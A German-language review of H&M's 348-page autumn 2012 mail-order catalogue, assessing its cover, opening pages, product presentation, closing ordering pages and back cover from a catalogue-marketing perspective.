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Katalogcheck H&M Herbst 2012

Seit einiger Zeit verschickt auch H&M erfolgreich Kataloge an Kunden und Interessenten. Spannend dabei: Der Katalog funktioniert als eigener Bestellkanal und zwingt nicht (wie bspw. im zalando-Magazin) dazu nur über den Online-Shop zu bestellen. Als Kunde habe ich die Wahl zwischen Online, Telefon oder schriftlicher Bestellung.

Aber von vorne: Mit 348 Seiten erreicht der aktuelle Herbst-Saison 2012 Katalog von H&M eine beachtliche Stärke und vermittelt allein dadurch schon eine Breite und Tiefe im Sortiment.


Titelcheck:

Ein Katalogtitel, fast wie man sich ihn wünscht: Nur das wichtigste ist drauf. Zwei Models stellen aktuelle Mode vor, schauen den Betrachter dabei an. Das Logo beantwortet die Leserfrage, wer mir den Katalog schickt, der Saisonvermerk „Herbst-Saison 2012“ unterstreicht die Aktualität des modischen Inhalts. Bestellwege Online und Telefon wurden ebenfalls nicht vergessen – sehr gut.

Einzig die Frage, wo der Kunde die auf dem Titel gezeigten Produkte im Katalog findet, bleibt unbeantwortet. Hier wird dem Leser eine Aufgabe gestellt (Suche den Artikel, wenn er Dir gefällt). Aufgaben für Kunden sind mit Vorsicht zu genießen: der Betrachter könnte daran scheitern, sie zu lösen. Kurze Seitenverweise hätten die Ästhetik nicht gestört und dem Leser sehr geholfen.


Einstiegscheck:

Toll gemacht Ein Altarfalz zeigt auf 7 Seiten stark inszenierte BTIs (breath taking items=Produkte zu Preisen bei denen einem der Atem stockt). Blusen uns Hosen für 19,95 oder ein Trenchcoat für 39.95.
Der Presidents Letter der Chefdesignerin nimmt die komplette Seite 3 ein. Kunden werden leider nicht direkt adressiert und ein PS wurde ebenfalls leider vergessen, aber zumindest sind Foto und Unterschrift da.

Als Gute Neuigkeit wird dem Leser vermittelt, das H&M 300 Mio. Liter Wasser in der Herstellung gespart hat. H&M ist in Sachen Umweltbewusstsein und bei den Arbeitsbedingungen wahrscheinlich nicht Vorreiter der Branche. Fraglich ob es klug ist, dieses Thema hier ins Kundenbewußtsein zu rücken und sich angreifbar zu machen.

Insgesamt hat H&M viel Platz auf den über 340 Seiten. So bekommt auch das Inhaltsverzeichnis eine eigene Doppelseite. Sehr gut und übersichtlich präsentieren sich 4 Hauptsortimentsbereiche. Diese Hauptkategorien teilen sich dann in Unterkategorien auf, die jeweils auch mit einem Seitenverweis bedacht sind. Sehr gut.

Der Einstieg wird durch einen weiteren BTI abgeschlossen: ein Cardigan für nur 4,95. Und es wird nicht vergessen verkäuferisch leichten Druck aufzubauen: „Maximal 1 Cardigan pro Kunde. Regulärer Preis 14,95. Solange der Vorrat reicht.“ Ein toller Order-Starter – sicher nicht im klassischen Sinn auf dem Bestellschein, denn dort taucht er nicht eingedruckt auf. Aber mit Sicherheit ist der Cardigan bei vielen Bestellungen trotzdem die erste Position auf der Bestell-Liste.

Auch die Hauptkategorien haben Einstiegsseiten. Sehr gut in Szene gesetzte Produkte sowie ein detailliertes Inhaltsverzeichnis für die Kategorie. Leider fehlen bei der vorgestellten Mode wieder die Seitenverweise. Schade. Wobei man die Technik des Seitenverweises bei H&M offenbar kennt: Auf den folgenden zwei Doppelseite werden Herbstfarben und Looks angeteasert und auf die entsprechenden Produktseiten referenziert.
Jetzt bin ich auch schon mitten in den Produktseiten…


Produktseiten-Check:

Ich will mich jetzt nicht in Details verlieren, denn die eine oder andere Verbesserung gäbe es schon (bspw. Nutzung der Pagination für Bestellwege, Denglische Doppelseiten-Head- und Sublines), aber insgesamt sind die Produktseiten sehr gut.

Günstige Produkte sind gegen den Trend aufwendig, groß und dramatisch inszeniert. Tolle Produktfotografie mit lebendigen Models in den Straßen einer amerikanischen Großstadt wechselt sich ab mit freigestellten Produktbildern, bei denen auch diese Produkte lebendig und mit Tiefe fotografiert wurden. Beispielhaft seien hier die Pullover auf Seite 21 erwähnt. Gelegte Pullover, übereinander, bei denen einer der Pullover die anderen in den Arm nimmt.
Stopperseiten lösen sich mit Seiten mit höherer Produktdichte ab, ein Insert mit dickerem und angeschnittenem Papier widmet sich auf 10 Seiten dem Thema Jeans/Denim.

Es wird sogar mit der Igeltechnik gearbeitet (bspw. S. 216 oder S. 335). Sehr selten aber immerhin. Der Leser sieht die Nutzenvorteile direkt, ohne in den Text einsteigen zu müssen.

Accessoires oder weitere Produkte, die die Models tragen werden mit Seitenverweisen gut referenziert. Das unterstützt das Cross-Selling. Manche Produkte erhalten aber leider  nur den Hinweis „hm.com“. Was mache ich als Kunde dann? Wie finde ich das Produkt schnell im Online-Shop? Hilfe dazu wäre nützlich und umsatzsteigernd.
Aber insgesamt ist festzustellen: Langweilig ist anders, es macht Spaß durch den Katalog zu blättern.


Abschlussseiten-Check:

So gut und lobenswert der Einstieg und die Produktseiten sind, so viel Kritik gibt es für die Abschlussseiten. Was ist denn hier los?

Die sogenannten Kaufinformationen sind wirklich noch optimierungsfähig: Abschließende Vorteilsargumentation? Fehlanzeige! Übersichtlicher Hinweis auf die Bestellwege und Bestellanleitung? Fehlanzeige. Werbliche Nutzung der Hot-Spot-Seite U3? Fehlanzeige.
Das geht deutlich besser. Es gibt hier noch viel zu tun.


Rücktitel-Check:

Versöhnlich wird es wieder beim Rücktitel: Logo, attraktiv und dramatisch inszeniertes und wahrscheinlich ein sehr gut laufendes Produkt mit Seitenverweis (direkt bestellbar wäre noch besser), Bestellwege. Fertig. Mehr braucht es für einen guten Rücktitel nicht.

Fazit: Wieder sehr gut gemacht H&M. Sicher ein Benchmark in Sachen Dramaturgie und Produktinszenierung für viele Mode-Kollegen. Bei den Abschlussseiten und in Sachen Führung in den Online-Shop gibt es Optimierungspotenzial, das aber leicht zu heben ist.

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